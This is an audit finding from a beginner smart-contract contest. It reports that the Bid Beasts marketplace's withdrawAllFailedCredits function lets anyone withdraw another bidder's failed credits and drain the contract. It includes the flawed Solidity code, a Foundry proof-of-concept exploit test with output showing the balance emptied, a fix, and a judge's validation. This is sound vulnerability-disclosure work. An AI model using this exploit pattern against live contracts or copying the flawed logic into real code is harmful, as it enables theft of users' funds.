Bid Beasts
First Flight #49
Beginner FriendlyFoundrySolidityNFT
100 EXP
View results
Previous Next
Submission Details
Severity: high
Valid

Arbitrary theft of failed credits

fffuuuming

Root + Impact

Description

Missued of _receiver let attackers can drain market's fund once there exist failed credits of any bidder.

  • Normally, users should only withdraw their own failed credits

  • Howeve, in the BidBeastsNFTMarketPlace.withdrawAllFailedCredits funcion, it let caller to specify _receiver and withdraw its credits without any access control check, which let anyone can withdraw others' failed credits

  • Moreover, it clears caller's own credits rather than _receiver's, making it possible for draining market's fund

function withdrawAllFailedCredits(address _receiver) external {
@> // should read msg.sender's failed credits
uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
failedTransferCredits[msg.sender] = 0;
​
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}

Risk

Likelihood: High

  • Poor access control and state management makes exploitation trivial.

  • One tx is enough whenever failedTransferCredits[anyone] > 0

Impact: High

  • Finacial Loss: Market losses its fund

  • DoS: Sellers and bidders may not receive refunds or proceeds

Proof of Concept

Add the following test, then run this command: forge test --match-test test_arbitrary_withdrawAllFailedCredits -vv

function test_arbitrary_withdrawAllFailedCredits() public {
_mintNFT();
_listNFT();
​
// attacker deploys attack contract and uses it to place a bid
address ATTACKER = address(0x5);
startHoax(ATTACKER);
AttackContract attackContract = new AttackContract(market);
attackContract.fund{value: MIN_PRICE + 1 ether}();
attackContract.executeBid(TOKEN_ID, MIN_PRICE + 1 ether);
vm.stopPrank();
​
// bidder 1 place bid
vm.prank(BIDDER_1);
market.placeBid{value: MIN_PRICE + 2 ether}(TOKEN_ID);
// bidder 2 place bid
vm.prank(BIDDER_2);
market.placeBid{value: MIN_PRICE + 3 ether}(TOKEN_ID);
// bidder 1 place bid
​
console.log("market balance:", address(market).balance);
console.log("Attck contract failed credits:", market.failedTransferCredits(address(attackContract)));
​
vm.startPrank(ATTACKER);
market.withdrawAllFailedCredits(address(attackContract));
market.withdrawAllFailedCredits(address(attackContract));
market.withdrawAllFailedCredits(address(attackContract));
​
vm.stopPrank();
console.log("market balance:", address(market).balance);
console.log("Attck contract failed credits:", market.failedTransferCredits(address(attackContract)));
}

PoC Results:

forge test --match-test test_arbitrary_withdrawAllFailedCredits -vv
[⠊] Compiling...
[⠘] Compiling 1 files with Solc 0.8.20
[⠃] Solc 0.8.20 finished in 785.93ms
Compiler run successful!
​
Ran 1 test for test/BidBeastsMarketPlaceTest.t.sol:BidBeastsNFTMarketTest
[PASS] test_arbitrary_withdrawAllFailedCredits() (gas: 596833)
Logs:
market balance: 6000000000000000000
Attck contract failed credits: 2000000000000000000
market balance: 0
Attck contract failed credits: 2000000000000000000
​
Suite result: ok. 1 passed; 0 failed; 0 skipped; finished in 1.06ms (289.79µs CPU time)
​
Ran 1 test suite in 310.56ms (1.06ms CPU time): 1 tests passed, 0 failed, 0 skipped (1 total tests)

Recommended Mitigation

To prevent arbitrary theft, simply directly read failed credits from msg.sender

function withdrawAllFailedCredits(address _receiver) external {
+ uint256 amount = failedTransferCredits[msg.sender];
- uint256 amount = failedTransferCredits[_receiver];
require(amount > 0, "No credits to withdraw");
​
failedTransferCredits[msg.sender] = 0;
​
(bool success, ) = payable(msg.sender).call{value: amount}("");
require(success, "Withdraw failed");
}
Updates

Lead Judging Commences

cryptoghost Lead Judge about 1 month ago
Submission Judgement Published
Validated
Assigned finding tags:

BidBeast Marketplace: Unrestricted FailedCredits Withdrawal

withdrawAllFailedCredits allows any user to withdraw another account’s failed transfer credits due to improper use of msg.sender instead of _receiver for balance reset and transfer.

Support

FAQs

Can't find an answer? Chat with us on Discord, Twitter or Linkedin.